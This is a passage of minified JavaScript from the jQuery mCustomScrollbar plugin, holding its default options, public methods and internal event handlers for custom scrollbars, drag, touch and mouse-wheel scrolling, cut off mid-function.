t,o="mCustomScrollbar",a="mCS",n=".mCustomScrollbar",i={setTop:0,setLeft:0,axis:"y",scrollbarPosition:"inside",scrollInertia:950,autoDraggerLength:!0,alwaysShowScrollbar:0,snapOffset:0,mouseWheel:{enable:!0,scrollAmount:"auto",axis:"y",deltaFactor:"auto",disableOver:["select","option","keygen","datalist","textarea"]},scrollButtons:{scrollType:"stepless",scrollAmount:"auto"},keyboard:{enable:!0,scrollType:"stepless",scrollAmount:"auto"},contentTouchScroll:25,documentTouchScroll:!0,advanced:{autoScrollOnFocus:"input,textarea,select,button,datalist,keygen,a[tabindex],area,object,[contenteditable='true']",updateOnContentResize:!0,updateOnImageLoad:"auto",autoUpdateTimeout:60},theme:"light",callbacks:{onTotalScrollOffset:0,onTotalScrollBackOffset:0,alwaysTriggerOffsets:!0}},r=0,l={},s=window.attachEvent&&!window.addEventListener?1:0,c=!1,d=["mCSB_dragger_onDrag","mCSB_scrollTools_onDrag","mCS_img_loaded","mCS_disabled","mCS_destroyed","mCS_no_scrollbar","mCS-autoHide","mCS-dir-rtl","mCS_no_scrollbar_y","mCS_no_scrollbar_x","mCS_y_hidden","mCS_x_hidden","mCSB_draggerContainer","mCSB_buttonUp","mCSB_buttonDown","mCSB_buttonLeft","mCSB_buttonRight"],u={init:function(t){var t=e.extend(!0,{},i,t),o=f.call(this);if(t.live){var s=t.liveSelector||this.selector||n,c=e(s);if("off"===t.live)return void m(s);l[s]=setTimeout(function(){c.mCustomScrollbar(t),"once"===t.live&&c.length&&m(s)},500)}else m(s);return t.setWidth=t.set_width?t.set_width:t.setWidth,t.setHeight=t.set_height?t.set_height:t.setHeight,t.axis=t.horizontalScroll?"x":p(t.axis),t.scrollInertia=t.scrollInertia>0&&t.scrollInertia<17?17:t.scrollInertia,"object"!=typeof t.mouseWheel&&1==t.mouseWheel&&(t.mouseWheel={enable:!0,scrollAmount:"auto",axis:"y",preventDefault:!1,deltaFactor:"auto",normalizeDelta:!1,invert:!1}),t.mouseWheel.scrollAmount=t.mouseWheelPixels?t.mouseWheelPixels:t.mouseWheel.scrollAmount,t.mouseWheel.normalizeDelta=t.advanced.normalizeMouseWheelDelta?t.advanced.normalizeMouseWheelDelta:t.mouseWheel.normalizeDelta,t.scrollButtons.scrollType=g(t.scrollButtons.scrollType),h(t),e(o).each(function(){var o=e(this);if(!o.data(a)){o.data(a,{idx:++r,opt:t,scrollRatio:{y:null,x:null},overflowed:null,contentReset:{y:null,x:null},bindEvents:!1,tweenRunning:!1,sequential:{},langDir:o.css("direction"),cbOffsets:null,trigger:null,poll:{size:{o:0,n:0},img:{o:0,n:0},change:{o:0,n:0}}});var n=o.data(a),i=n.opt,l=o.data("mcs-axis"),s=o.data("mcs-scrollbar-position"),c=o.data("mcs-theme");l&&(i.axis=l),s&&(i.scrollbarPosition=s),c&&(i.theme=c,h(i)),v.call(this),n&&i.callbacks.onCreate&&"function"==typeof i.callbacks.onCreate&&i.callbacks.onCreate.call(this),e("#mCSB_"+n.idx+"_container img:not(."+d[2]+")").addClass(d[2]),u.update.call(null,o)}})},update:function(t,o){var n=t||f.call(this);return e(n).each(function(){var t=e(this);if(t.data(a)){var n=t.data(a),i=n.opt,r=e("#mCSB_"+n.idx+"_container"),l=e("#mCSB_"+n.idx),s=[e("#mCSB_"+n.idx+"_dragger_vertical"),e("#mCSB_"+n.idx+"_dragger_horizontal")];if(!r.length)return;n.tweenRunning&&Q(t),o&&n&&i.callbacks.onBeforeUpdate&&"function"==typeof i.callbacks.onBeforeUpdate&&i.callbacks.onBeforeUpdate.call(this),t.hasClass(d[3])&&t.removeClass(d[3]),t.hasClass(d[4])&&t.removeClass(d[4]),l.css("max-height","none"),l.height()!==t.height()&&l.css("max-height",t.height()),_.call(this),"y"===i.axis||i.advanced.autoExpandHorizontalScroll||r.css("width",x(r)),n.overflowed=y.call(this),M.call(this),i.autoDraggerLength&&S.call(this),b.call(this),T.call(this);var c=[Math.abs(r[0].offsetTop),Math.abs(r[0].offsetLeft)];"x"!==i.axis&&(n.overflowed[0]?s[0].height()>s[0].parent().height()?B.call(this):(G(t,c[0].toString(),{dir:"y",dur:0,overwrite:"none"}),n.contentReset.y=null):(B.call(this),"y"===i.axis?k.call(this):"yx"===i.axis&&n.overflowed[1]&&G(t,c[1].toString(),{dir:"x",dur:0,overwrite:"none"}))),"y"!==i.axis&&(n.overflowed[1]?s[1].width()>s[1].parent().width()?B.call(this):(G(t,c[1].toString(),{dir:"x",dur:0,overwrite:"none"}),n.contentReset.x=null):(B.call(this),"x"===i.axis?k.call(this):"yx"===i.axis&&n.overflowed[0]&&G(t,c[0].toString(),{dir:"y",dur:0,overwrite:"none"}))),o&&n&&(2===o&&i.callbacks.onImageLoad&&"function"==typeof i.callbacks.onImageLoad?i.callbacks.onImageLoad.call(this):3===o&&i.callbacks.onSelectorChange&&"function"==typeof i.callbacks.onSelectorChange?i.callbacks.onSelectorChange.call(this):i.callbacks.onUpdate&&"function"==typeof i.callbacks.onUpdate&&i.callbacks.onUpdate.call(this)),N.call(this)}})},scrollTo:function(t,o){if("undefined"!=typeof t&&null!=t){var n=f.call(this);return e(n).each(function(){var n=e(this);if(n.data(a)){var i=n.data(a),r=i.opt,l={trigger:"external",scrollInertia:r.scrollInertia,scrollEasing:"mcsEaseInOut",moveDragger:!1,timeout:60,callbacks:!0,onStart:!0,onUpdate:!0,onComplete:!0},s=e.extend(!0,{},l,o),c=Y.call(this,t),d=s.scrollInertia>0&&s.scrollInertia<17?17:s.scrollInertia;c[0]=X.call(this,c[0],"y"),c[1]=X.call(this,c[1],"x"),s.moveDragger&&(c[0]*=i.scrollRatio.y,c[1]*=i.scrollRatio.x),s.dur=ne()?0:d,setTimeout(function(){null!==c[0]&&"undefined"!=typeof c[0]&&"x"!==r.axis&&i.overflowed[0]&&(s.dir="y",s.overwrite="all",G(n,c[0].toString(),s)),null!==c[1]&&"undefined"!=typeof c[1]&&"y"!==r.axis&&i.overflowed[1]&&(s.dir="x",s.overwrite="none",G(n,c[1].toString(),s))},s.timeout)}})}},stop:function(){var t=f.call(this);return e(t).each(function(){var t=e(this);t.data(a)&&Q(t)})},disable:function(t){var o=f.call(this);return e(o).each(function(){var o=e(this);if(o.data(a)){o.data(a);N.call(this,"remove"),k.call(this),t&&B.call(this),M.call(this,!0),o.addClass(d[3])}})},destroy:function(){var t=f.call(this);return e(t).each(function(){var n=e(this);if(n.data(a)){var i=n.data(a),r=i.opt,l=e("#mCSB_"+i.idx),s=e("#mCSB_"+i.idx+"_container"),c=e(".mCSB_"+i.idx+"_scrollbar");r.live&&m(r.liveSelector||e(t).selector),N.call(this,"remove"),k.call(this),B.call(this),n.removeData(a),$(this,"mcs"),c.remove(),s.find("img."+d[2]).removeClass(d[2]),l.replaceWith(s.contents()),n.removeClass(o+" _"+a+"_"+i.idx+" "+d[6]+" "+d[7]+" "+d[5]+" "+d[3]).addClass(d[4])}})}},f=function(){return"object"!=typeof e(this)||e(this).length<1?n:this},h=function(t){var o=["rounded","rounded-dark","rounded-dots","rounded-dots-dark"],a=["rounded-dots","rounded-dots-dark","3d","3d-dark","3d-thick","3d-thick-dark","inset","inset-dark","inset-2","inset-2-dark","inset-3","inset-3-dark"],n=["minimal","minimal-dark"],i=["minimal","minimal-dark"],r=["minimal","minimal-dark"];t.autoDraggerLength=e.inArray(t.theme,o)>-1?!1:t.autoDraggerLength,t.autoExpandScrollbar=e.inArray(t.theme,a)>-1?!1:t.autoExpandScrollbar,t.scrollButtons.enable=e.inArray(t.theme,n)>-1?!1:t.scrollButtons.enable,t.autoHideScrollbar=e.inArray(t.theme,i)>-1?!0:t.autoHideScrollbar,t.scrollbarPosition=e.inArray(t.theme,r)>-1?"outside":t.scrollbarPosition},m=function(e){l[e]&&(clearTimeout(l[e]),$(l,e))},p=function(e){return"yx"===e||"xy"===e||"auto"===e?"yx":"x"===e||"horizontal"===e?"x":"y"},g=function(e){return"stepped"===e||"pixels"===e||"step"===e||"click"===e?"stepped":"stepless"},v=function(){var t=e(this),n=t.data(a),i=n.opt,r=i.autoExpandScrollbar?" "+d[1]+"_expand":"",l=["<div id='mCSB_"+n.idx+"_scrollbar_vertical' class='mCSB_scrollTools mCSB_"+n.idx+"_scrollbar mCS-"+i.theme+" mCSB_scrollTools_vertical"+r+"'><div class='"+d[12]+"'><div id='mCSB_"+n.idx+"_dragger_vertical' class='mCSB_dragger' style='position:absolute;'><div class='mCSB_dragger_bar' /></div><div class='mCSB_draggerRail' /></div></div>","<div id='mCSB_"+n.idx+"_scrollbar_horizontal' class='mCSB_scrollTools mCSB_"+n.idx+"_scrollbar mCS-"+i.theme+" mCSB_scrollTools_horizontal"+r+"'><div class='"+d[12]+"'><div id='mCSB_"+n.idx+"_dragger_horizontal' class='mCSB_dragger' style='position:absolute;'><div class='mCSB_dragger_bar' /></div><div class='mCSB_draggerRail' /></div></div>"],s="yx"===i.axis?"mCSB_vertical_horizontal":"x"===i.axis?"mCSB_horizontal":"mCSB_vertical",c="yx"===i.axis?l[0]+l[1]:"x"===i.axis?l[1]:l[0],u="yx"===i.axis?"<div id='mCSB_"+n.idx+"_container_wrapper' class='mCSB_container_wrapper' />":"",f=i.autoHideScrollbar?" "+d[6]:"",h="x"!==i.axis&&"rtl"===n.langDir?" "+d[7]:"";i.setWidth&&t.css("width",i.setWidth),i.setHeight&&t.css("height",i.setHeight),i.setLeft="y"!==i.axis&&"rtl"===n.langDir?"989999px":i.setLeft,t.addClass(o+" _"+a+"_"+n.idx+f+h).wrapInner("<div id='mCSB_"+n.idx+"' class='mCustomScrollBox mCS-"+i.theme+" "+s+"'><div id='mCSB_"+n.idx+"_container' class='mCSB_container' style='position:relative; top:"+i.setTop+"; left:"+i.setLeft+";' dir='"+n.langDir+"' /></div>");var m=e("#mCSB_"+n.idx),p=e("#mCSB_"+n.idx+"_container");"y"===i.axis||i.advanced.autoExpandHorizontalScroll||p.css("width",x(p)),"outside"===i.scrollbarPosition?("static"===t.css("position")&&t.css("position","relative"),t.css("overflow","visible"),m.addClass("mCSB_outside").after(c)):(m.addClass("mCSB_inside").append(c),p.wrap(u)),w.call(this);var g=[e("#mCSB_"+n.idx+"_dragger_vertical"),e("#mCSB_"+n.idx+"_dragger_horizontal")];g[0].css("min-height",g[0].height()),g[1].css("min-width",g[1].width())},x=function(t){var o=[t[0].scrollWidth,Math.max.apply(Math,t.children().map(function(){return e(this).outerWidth(!0)}).get())],a=t.parent().width();return o[0]>a?o[0]:o[1]>a?o[1]:"100%"},_=function(){var t=e(this),o=t.data(a),n=o.opt,i=e("#mCSB_"+o.idx+"_container");if(n.advanced.autoExpandHorizontalScroll&&"y"!==n.axis){i.css({width:"auto","min-width":0,"overflow-x":"scroll"});var r=Math.ceil(i[0].scrollWidth);3===n.advanced.autoExpandHorizontalScroll||2!==n.advanced.autoExpandHorizontalScroll&&r>i.parent().width()?i.css({width:r,"min-width":"100%","overflow-x":"inherit"}):i.css({"overflow-x":"inherit",position:"absolute"}).wrap("<div class='mCSB_h_wrapper' style='position:relative; left:0; width:999999px;' />").css({width:Math.ceil(i[0].getBoundingClientRect().right+.4)-Math.floor(i[0].getBoundingClientRect().left),"min-width":"100%",position:"relative"}).unwrap()}},w=function(){var t=e(this),o=t.data(a),n=o.opt,i=e(".mCSB_"+o.idx+"_scrollbar:first"),r=oe(n.scrollButtons.tabindex)?"tabindex='"+n.scrollButtons.tabindex+"'":"",l=["<a href='#' class='"+d[13]+"' "+r+" />","<a href='#' class='"+d[14]+"' "+r+" />","<a href='#' class='"+d[15]+"' "+r+" />","<a href='#' class='"+d[16]+"' "+r+" />"],s=["x"===n.axis?l[2]:l[0],"x"===n.axis?l[3]:l[1],l[2],l[3]];n.scrollButtons.enable&&i.prepend(s[0]).append(s[1]).next(".mCSB_scrollTools").prepend(s[2]).append(s[3])},S=function(){var t=e(this),o=t.data(a),n=e("#mCSB_"+o.idx),i=e("#mCSB_"+o.idx+"_container"),r=[e("#mCSB_"+o.idx+"_dragger_vertical"),e("#mCSB_"+o.idx+"_dragger_horizontal")],l=[n.height()/i.outerHeight(!1),n.width()/i.outerWidth(!1)],c=[parseInt(r[0].css("min-height")),Math.round(l[0]*r[0].parent().height()),parseInt(r[1].css("min-width")),Math.round(l[1]*r[1].parent().width())],d=s&&c[1]<c[0]?c[0]:c[1],u=s&&c[3]<c[2]?c[2]:c[3];r[0].css({height:d,"max-height":r[0].parent().height()-10}).find(".mCSB_dragger_bar").css({"line-height":c[0]+"px"}),r[1].css({width:u,"max-width":r[1].parent().width()-10})},b=function(){var t=e(this),o=t.data(a),n=e("#mCSB_"+o.idx),i=e("#mCSB_"+o.idx+"_container"),r=[e("#mCSB_"+o.idx+"_dragger_vertical"),e("#mCSB_"+o.idx+"_dragger_horizontal")],l=[i.outerHeight(!1)-n.height(),i.outerWidth(!1)-n.width()],s=[l[0]/(r[0].parent().height()-r[0].height()),l[1]/(r[1].parent().width()-r[1].width())];o.scrollRatio={y:s[0],x:s[1]}},C=function(e,t,o){var a=o?d[0]+"_expanded":"",n=e.closest(".mCSB_scrollTools");"active"===t?(e.toggleClass(d[0]+" "+a),n.toggleClass(d[1]),e[0]._draggable=e[0]._draggable?0:1):e[0]._draggable||("hide"===t?(e.removeClass(d[0]),n.removeClass(d[1])):(e.addClass(d[0]),n.addClass(d[1])))},y=function(){var t=e(this),o=t.data(a),n=e("#mCSB_"+o.idx),i=e("#mCSB_"+o.idx+"_container"),r=null==o.overflowed?i.height():i.outerHeight(!1),l=null==o.overflowed?i.width():i.outerWidth(!1),s=i[0].scrollHeight,c=i[0].scrollWidth;return s>r&&(r=s),c>l&&(l=c),[r>n.height(),l>n.width()]},B=function(){var t=e(this),o=t.data(a),n=o.opt,i=e("#mCSB_"+o.idx),r=e("#mCSB_"+o.idx+"_container"),l=[e("#mCSB_"+o.idx+"_dragger_vertical"),e("#mCSB_"+o.idx+"_dragger_horizontal")];if(Q(t),("x"!==n.axis&&!o.overflowed[0]||"y"===n.axis&&o.overflowed[0])&&(l[0].add(r).css("top",0),G(t,"_resetY")),"y"!==n.axis&&!o.overflowed[1]||"x"===n.axis&&o.overflowed[1]){var s=dx=0;"rtl"===o.langDir&&(s=i.width()-r.outerWidth(!1),dx=Math.abs(s/o.scrollRatio.x)),r.css("left",s),l[1].css("left",dx),G(t,"_resetX")}},T=function(){function t(){r=setTimeout(function(){e.event.special.mousewheel?(clearTimeout(r),W.call(o[0])):t()},100)}var o=e(this),n=o.data(a),i=n.opt;if(!n.bindEvents){if(I.call(this),i.contentTouchScroll&&D.call(this),E.call(this),i.mouseWheel.enable){var r;t()}P.call(this),U.call(this),i.advanced.autoScrollOnFocus&&H.call(this),i.scrollButtons.enable&&F.call(this),i.keyboard.enable&&q.call(this),n.bindEvents=!0}},k=function(){var t=e(this),o=t.data(a),n=o.opt,i=a+"_"+o.idx,r=".mCSB_"+o.idx+"_scrollbar",l=e("#mCSB_"+o.idx+",#mCSB_"+o.idx+"_container,#mCSB_"+o.idx+"_container_wrapper,"+r+" ."+d[12]+",#mCSB_"+o.idx+"_dragger_vertical,#mCSB_"+o.idx+"_dragger_horizontal,"+r+">a"),s=e("#mCSB_"+o.idx+"_container");n.advanced.releaseDraggableSelectors&&l.add(e(n.advanced.releaseDraggableSelectors)),n.advanced.extraDraggableSelectors&&l.add(e(n.advanced.extraDraggableSelectors)),o.bindEvents&&(e(document).add(e(!A()||top.document)).unbind("."+i),l.each(function(){e(this).unbind("."+i)}),clearTimeout(t[0]._focusTimeout),$(t[0],"_focusTimeout"),clearTimeout(o.sequential.step),$(o.sequential,"step"),clearTimeout(s[0].onCompleteTimeout),$(s[0],"onCompleteTimeout"),o.bindEvents=!1)},M=function(t){var o=e(this),n=o.data(a),i=n.opt,r=e("#mCSB_"+n.idx+"_container_wrapper"),l=r.length?r:e("#mCSB_"+n.idx+"_container"),s=[e("#mCSB_"+n.idx+"_scrollbar_vertical"),e("#mCSB_"+n.idx+"_scrollbar_horizontal")],c=[s[0].find(".mCSB_dragger"),s[1].find(".mCSB_dragger")];"x"!==i.axis&&(n.overflowed[0]&&!t?(s[0].add(c[0]).add(s[0].children("a")).css("display","block"),l.removeClass(d[8]+" "+d[10])):(i.alwaysShowScrollbar?(2!==i.alwaysShowScrollbar&&c[0].css("display","none"),l.removeClass(d[10])):(s[0].css("display","none"),l.addClass(d[10])),l.addClass(d[8]))),"y"!==i.axis&&(n.overflowed[1]&&!t?(s[1].add(c[1]).add(s[1].children("a")).css("display","block"),l.removeClass(d[9]+" "+d[11])):(i.alwaysShowScrollbar?(2!==i.alwaysShowScrollbar&&c[1].css("display","none"),l.removeClass(d[11])):(s[1].css("display","none"),l.addClass(d[11])),l.addClass(d[9]))),n.overflowed[0]||n.overflowed[1]?o.removeClass(d[5]):o.addClass(d[5])},O=function(t){var o=t.type,a=t.target.ownerDocument!==document&&null!==frameElement?[e(frameElement).offset().top,e(frameElement).offset().left]:null,n=A()&&t.target.ownerDocument!==top.document&&null!==frameElement?[e(t.view.frameElement).offset().top,e(t.view.frameElement).offset().left]:[0,0];switch(o){case"pointerdown":case"MSPointerDown":case"pointermove":case"MSPointerMove":case"pointerup":case"MSPointerUp":return a?[t.originalEvent.pageY-a[0]+n[0],t.originalEvent.pageX-a[1]+n[1],!1]:[t.originalEvent.pageY,t.originalEvent.pageX,!1];case"touchstart":case"touchmove":case"touchend":var i=t.originalEvent.touches[0]||t.originalEvent.changedTouches[0],r=t.originalEvent.touches.length||t.originalEvent.changedTouches.length;return t.target.ownerDocument!==document?[i.screenY,i.screenX,r>1]:[i.pageY,i.pageX,r>1];default:return a?[t.pageY-a[0]+n[0],t.pageX-a[1]+n[1],!1]:[t.pageY,t.pageX,!1]}},I=function(){function t(e,t,a,n){if(h[0].idleTimer=d.scrollInertia<233?250:0,o.attr("id")===f[1])var i="x",s=(o[0].offsetLeft-t+n)*l.scrollRatio.x;else var i="y",s=(o[0].offsetTop-e+a)*l.scrollRatio.y;G(r,s.toString(),{dir:i,drag:!0})}var o,n,i,r=e(this),l=r.data(a),d=l.opt,u=a+"_"+l.idx,f=["mCSB_"+l.idx+"_dragger_vertical","mCSB_"+l.idx+"_dragger_horizontal"],h=e("#mCSB_"+l.idx+"_container"),m=e("#"+f[0]+",#"+f[1]),p=d.advanced.releaseDraggableSelectors?m.add(e(d.advanced.releaseDraggableSelectors)):m,g=d.advanced.extraDraggableSelectors?e(!A()||top.document).add(e(d.advanced.extraDraggableSelectors)):e(!A()||top.document);m.bind("contextmenu."+u,function(e){e.preventDefault()}).bind("mousedown."+u+" touchstart."+u+" pointerdown."+u+" MSPointerDown."+u,function(t){if(t.stopImmediatePropagation(),t.preventDefault(),ee(t)){c=!0,s&&(document.onselectstart=function(){return!1}),L.call(h,!1),Q(r),o=e(this);var a=o.offset(),l=O(t)[0]-a.top,u=O(t)[1]-a.left,f=o.height()+a.top,m=o.width()+a.left;f>l&&l>0&&m>u&&u>0&&(n=l,i=u),C(o,"active",d.autoExpandScrollbar)}}).bind("touchmove."+u,function(e){e.stopImmediatePropagation(),e.preventDefault();var a=o.offset(),r=O(e)[0]-a.top,l=O(e)[1]-a.left;t(n,i,r,l)}),e(document).add(g).bind("mousemove."+u+" pointermove."+u+" MSPointerMove."+u,function(e){if(o){var a=o.offset(),r=O(e)[0]-a.top,l=O(e)[1]-a.left;if(n===r&&i===l)return;t(n,i,r,l)}}).add(p).bind("mouseup."+u+" touchend."+u+" pointerup."+u+" MSPointerUp."+u,function(){o&&(C(o,"active",d.autoExpandScrollbar),o=null),c=!1,s&&(document.onselectstart=null),L.call(h,!0)})},D=function(){function o(e){if(!te(e)||c||O(e)[2])return void(t=0);t=1,b=0,C=0,d=1,y.removeClass("mCS_touch_action");var o=I.offset();u=O(e)[0]-o.top,f=O(e)[1]-o.left,z=[O(e)[0],O(e)[1]]}function n(e){if(te(e)&&!c&&!O(e)[2]&&(T.documentTouchScroll||e.preventDefault(),e.stopImmediatePropagation(),(!C||b)&&d)){g=K();var t=M.offset(),o=O(e)[0]-t.top,a=O(e)[1]-t.left,n="mcsLinearOut";if(E.push(o),W.push(a),z[2]=Math.abs(O(e)[0]-z[0]),z[3]=Math.abs(O(e)[1]-z[1]),B.overflowed[0])var i=D[0].parent().height()-D[0].height(),r=u-o>0&&o-u>-(i*B.scrollRatio.y)&&(2*z[3]<z[2]||"yx"===T.axis);if(B.overflowed[1])var l=D[1].parent().width()-D[1].width(),h=f-a>0&&a-f>-(l*B.scrollRatio.x)&&(2*z[2]<z[3]||"yx"===T.axis);r||h?(U||e.preventDefault(),b=1):(C=1,y.addClass("mCS_touch_action")),U&&e.preventDefault(),w="yx"===T.axis?[u-o,f-a]:"x"===T.axis?[null,f-a]:[u-o,null],I[0].idleTimer=250,B.overflowed[0]&&s(w[0],R,n,"y","all",!0),B.overflowed[1]&&s(w[1],R,n,"x",L,!0)}}function i(e){if(!te(e)||c||O(e)[2])return void(t=0);t=1,e.stopImmediatePropagation(),Q(y),p=K();var o=M.offset();h=O(e)[0]-o.top,m=O(e)[1]-o.left,E=[],W=[]}function r(e){if(te(e)&&!c&&!O(e)[2]){d=0,e.stopImmediatePropagation(),b=0,C=0,v=K();var t=M.offset(),o=O(e)[0]-t.top,a=O(e)[1]-t.left;if(!(v-g>30)){_=1e3/(v-p);var n="mcsEaseOut",i=2.5>_,r=i?[E[E.length-2],W[W.length-2]]:[0,0];x=i?[o-r[0],a-r[1]]:[o-h,a-m];var u=[Math.abs(x[0]),Math.abs(x[1])];_=i?[Math.abs(x[0]/4),Math.abs(x[1]/4)]:[_,_];var f=[Math.abs(I[0].offsetTop)-x[0]*l(u[0]/_[0],_[0]),Math.abs(I[0].offsetLeft)-x[1]*l(u[1]/_[1],_[1])];w="yx"===T.axis?[f[0],f[1]]:"x"===T.axis?[null,f[1]]:[f[0],null],S=[4*u[0]+T.scrollInertia,4*u[1]+T.scrollInertia];var y=parseInt(T.contentTouchScroll)||0;w[0]=u[0]>y?w[0]:0,w[1]=u[1]>y?w[1]:0,B.overflowed[0]&&s(w[0],S[0],n,"y",L,!1),B.overflowed[1]&&s(w[1],S[1],n,"x",L,!1)}}}function l(e,t){var o=[1.5*t,2*t,t/1.5,t/2];return e>90?t>4?o[0]:o[3]:e>60?t>3?o[3]:o[2]:e>30?t>8?o[1]:t>6?o[0]:t>4?t:o[2]:t>8?t:o[3]}function s(e,t,o,a,n,i){e&&G(y,e.toString(),{dur:t,scrollEasing:o,dir:a,overwrite:n,drag:i})}var d,u,f,h,m,p,g,v,x,_,w,S,b,C,y=e(this),B=y.data(a),T=B.opt,k=a+"_"+B.idx,M=e("#mCSB_"+B.idx),I=e("#mCSB_"+B.idx+"_container"),D=[e("#mCSB_"+B.idx+"_dragger_vertical"),e("#mCSB_"+B.idx+"_dragger_horizontal")],E=[],W=[],R=0,L="yx"===T.axis?"none":"all",z=[],P=I.find("iframe"),H=["touchstart."+k+" pointerdown."+k+" MSPointerDown."+k,"touchmove."+k+" pointermove."+k+" MSPointerMove."+k,"touchend."+k+" pointerup."+k+" MSPointerUp."+k],U=void 0!==document.body.style.touchAction&&""!==document.body.style.touchAction;I.bind(H[0],function(e){o(e)}).bind(H[1],function(e){n(e)}),M.bind(H[0],function(e){i(e)}).bind(H[2],function(e){r(e)}),P.length&&P.each(function(){e(this).bind("load",function(){A(this)&&e(this.contentDocument||this.contentWindow.document).bind(H[0],function(e){o(e),i(e)}).bind(H[1],function(e){n(e)}).bind(H[2],function(e){r(e)})})})},E=function(){function o(){return window.getSelection?window.getSelection().toString():document.selection&&"Control"!=document.selection.type?document.selection.createRange().text:0}function n(e,t,o){d.type=o&&i?"stepped":"stepless",d.scrollAmount=10,j(r,e,t,"mcsLinearOut",o?60:null)}var i,r=e(this),l=r.data(a),s=l.opt,d=l.sequential,u=a+"_"+l.idx,f=e("#mCSB_"+l.idx+"_container"),h=f.parent();f.bind("mousedown."+u,function(){t||i||(i=1,c=!0)}).add(document).bind("mousemove."+u,function(e){if(!t&&i&&o()){var a=f.offset(),r=O(e)[0]-a.top+f[0].offsetTop,c=O(e)[1]-a.left+f[0].offsetLeft;r>0&&r<h.height()&&c>0&&c<h.width()?d.step&&n("off",null,"stepped"):("x"!==s.axis&&l.overflowed[0]&&(0>r?n("on",38):r>h.height()&&n("on",40)),"y"!==s.axis&&l.overflowed[1]&&(0>c?n("on",37):c>h.width()&&n("on",39)))}}).bind("mouseup."+u+" dragend."+u,function(){t||(i&&(i=0,n("off",null)),c=!1)})},W=function(){function t(t,a){if(Q(o),!z(o,t.target)){var r="auto"!==i.mouseWheel.deltaFactor?parseInt(i.mouseWheel.deltaFactor):s&&t.deltaFactor<100?100:t.deltaFactor||100,d=i.scrollInertia;if("x"===i.axis||"x"===i.mouseWheel.axis)var u="x",f=[Math.round(r*n.scrollRatio.x),parseInt(i.mouseWheel.scrollAmount)],h="auto"!==i.mouseWheel.scrollAmount?f[1]:f[0]>=l.width()?.9*l.width():f[0],m=Math.abs(e("#mCSB_"+n.idx+"_container")[0].offsetLeft),p=c[1][0].offsetLeft,g=c[1].parent().width()-c[1].width(),v="y"===i.mouseWheel.axis?t.deltaY||a:t.deltaX;else var u="y",f=[Math.round(r*n.scrollRatio.y),parseInt(i.mouseWheel.scrollAmount)],h="auto"!==i.mouseWheel.scrollAmount?f[1]:f[0]>=l.height()?.9*l.height():f[0],m=Math.abs(e("#mCSB_"+n.idx+"_container")[0].offsetTop),p=c[0][0].offsetTop,g=c[0].parent().height()-c[0].height(),v=t.deltaY||a;"y"===u&&!n.overflowed[0]||"x"===u&&!n.overflowed[1]||((i.mouseWheel.invert||t.webkitDirectionInvertedFromDevice)&&(v=-v),i.mouseWheel.normalizeDelta&&(v=0>v?-1:1),(v>0&&0!==p||0>v&&p!==g||i.mouseWheel.preventDefault)&&(t.stopImmediatePropagation(),t.preventDefault()),t.deltaFactor<5&&!i.mouseWheel.normalizeDelta&&(h=t.deltaFactor,d=17),G(o,(m-v*h).toString(),{dir:u,dur:d}))}}if(e(this).data(a)){var o=e(this),n=o.data(a),i=n.opt,r=a+"_"+n.idx,l=e("#mCSB_"+n.idx),c=[e("#mCSB_"+n.idx+"_dragger_vertical"),e("#mCSB_"+n.idx+"_dragger_horizontal")],d=e("#mCSB_"+n.idx+"_container").find("iframe");d.length&&d.each(function(){e(this).bind("load",function(){A(this)&&e(this.contentDocument||this.contentWindow.document).bind("mousewheel."+r,function(e,o){t(e,o)})})}),l.bind("mousewheel."+r,function(e,o){t(e,o)})}},R=new Object,A=function(t){var o=!1,a=!1,n=null;if(void 0===t?a="#empty":void 0!==e(t).attr("id")&&(a=e(t).attr("id")),a!==!1&&void 0!==R[a])return R[a];if(t){try{var i=t.contentDocument||t.contentWindow.document;n=i.body.innerHTML}catch(r){}o=null!==n}else{try{var i=top.document;n=i.body.innerHTML}catch(r){}o=null!==n}return a!==!1&&(R[a]=o),o},L=function(e){var t=this.find("iframe");if(t.length){var o=e?"auto":"none";t.css("pointer-events",o)}},z=function(t,o){var n=o.nodeName.toLowerCase(),i=t.data(a).opt.mouseWheel.disableOver,r=["select","textarea"];return e.inArray(n,i)>-1&&!(e.inArray(n,r)>-1&&!e(o).is(":focus"))},P=function(){var t,o=e(this),n=o.data(a),i=a+"_"+n.idx,r=e("#mCSB_"+n.idx+"_container"),l=r.parent(),s=e(".mCSB_"+n.idx+"_scrollbar ."+d[12]);s.bind("mousedown."+i+" touchstart."+i+" pointerdown."+i+" MSPointerDown."+i,function(o){c=!0,e(o.target).hasClass("mCSB_dragger")||(t=1)}).bind("touchend."+i+" pointerup."+i+" MSPointerUp."+i,function(){c=!1}).bind("click."+i,function(a){if(t&&(t=0,e(a.target).hasClass(d[12])||e(a.target).hasClass("mCSB_draggerRail"))){Q(o);var i=e(this),s=i.find(".mCSB_dragger");if(i.parent(".mCSB_scrollTools_horizontal").length>0){if(!n.overflowed[1])return;var c="x",u=a.pageX>s.offset().left?-1:1,f=Math.abs(r[0].offsetLeft)-u*(.9*l.width())}else{if(!n.overflowed[0])return;var c="y",u=a.pageY>s.offset().top?-1:1,f=Math.abs(r[0].offsetTop)-u*(.9*l.height())}G(o,f.toString(),{dir:c,scrollEasing:"mcsEaseInOut"})}})},H=function(){var t=e(this),o=t.data(a),n=o.opt,i=a+"_"+o.idx,r=e("#mCSB_"+o.idx+"_container"),l=r.parent();r.bind("focusin."+i,function(){var o=e(document.activeElement),a=r.find(".mCustomScrollBox").length,i=0;o.is(n.advanced.autoScrollOnFocus)&&(Q(t),clearTimeout(t[0]._focusTimeout),t[0]._focusTimer=a?(i+17)*a:0,t[0]._focusTimeout=setTimeout(function(){var e=[ae(o)[0],ae(o)[1]],a=[r[0].offsetTop,r[0].offsetLeft],s=[a[0]+e[0]>=0&&a[0]+e[0]<l.height()-o.outerHeight(!1),a[1]+e[1]>=0&&a[0]+e[1]<l.width()-o.outerWidth(!1)],c="yx"!==n.axis||s[0]||s[1]?"all":"none";"x"===n.axis||s[0]||G(t,e[0].toString(),{dir:"y",scrollEasing:"mcsEaseInOut",overwrite:c,dur:i}),"y"===n.axis||s[1]||G(t,e[1].toString(),{dir:"x",scrollEasing:"mcsEaseInOut",overwrite:c,dur:i})},t[0]._focusTimer))})},U=function(){var t=e(this),o=t.data(a),n=a+"_"+o.idx,i=e("#mCSB_"+o.idx+"_container").parent();i.bind("scroll."+n,function(){0===i.scrollTop()&&0===i.scrollLeft()||e(".mCSB_"+o.idx+"_scrollbar").css("visibility","hidden")})},F=function(){var 